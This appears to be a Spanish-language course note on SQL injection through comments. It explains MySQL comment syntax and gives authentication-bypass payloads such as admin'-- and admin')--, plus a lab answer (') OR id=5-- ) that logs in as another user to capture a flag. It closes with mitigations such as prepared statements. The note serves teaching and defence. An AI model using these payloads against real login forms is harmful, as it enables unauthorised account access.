Uso de Comentarios en SQL y Riesgos de Seguridad

Info

Objetivo: aprender a usar comentarios SQL para truncar la consulta original y subvertir la lógica (por ejemplo, para omitir autenticación).
Ejemplos y payloads educativos — úsalos únicamente en entornos controlados / con permiso.


✍️ Tipos de comentarios en MySQL

Tip

Importante: -- necesita un espacio después para iniciar el comentario (-- ). En URL a veces se codifica como --+.
El # en URLs puede necesitar %23.


🧾 Ejemplo básico de comentario

Consulta:

SELECT username FROM logins; -- Selects usernames from the logins table

O usando #:

SELECT * FROM logins WHERE username = 'admin'; # cualquier cosa aquí

El servidor ignora todo lo que quede tras el comentario.


🧨 Bypass de autenticación con comentario

Payload típico (en campo username):

admin'-- 

Consulta resultante (resaltada):

SELECT * FROM logins WHERE username='admin'-- ' AND password = 'something';

La parte AND password = ... queda comentada → la consulta sólo verifica username='admin'.

Warning

Asegúrate de cuidar espacios y codificación (p. ej. --+ en URLs).


🧠 Caso con paréntesis y hashing (más avanzado)

La aplicación usa paréntesis para controlar la prioridad lógica:

SELECT * FROM logins WHERE (username='admin' AND id > 1) AND password='HASHEDVALUE';

Cómo solucionar el paréntesis roto con comentario

Si inyectas admin'-- puede ocurrir error sintáctico por paréntesis no cerrado. Solución: cerrar paréntesis antes de comentar, p. ej.:

admin')--

Resultado efectivo:

SELECT * FROM logins WHERE (username='admin') -- )

id > 1 queda inutilizado → la consulta devuelve al admin.


✅ Resumen de técnicas con comentarios


Best-practice

Mitigaciones recomendadas:

  • Usar consultas parametrizadas / prepared statements.

  • Validar y sanear entrada del usuario.

  • Evitar mostrar errores SQL en producción.

  • Restringir privilegios de la BD.


🧪 Ejercicios del laboratorio (enunciado)

Objetivo del lab:
“Inicia sesión como usuario con el id 5 para obtener la bandera.”

Para lograrlo:

Necesitamos cerrar el paréntesis, romper la prioridad, e imponer id=5
y después comentar el resto con -- .

Payload:

') OR id=5-- 

→ La consulta devolverá el usuario con id 5, y se iniciará sesión como él.
{9F526B44-1A1B-44B6-A2DC-AA4D854E759D}.png
{9886719B-9993-4BCF-9953-DA619F48D655}.png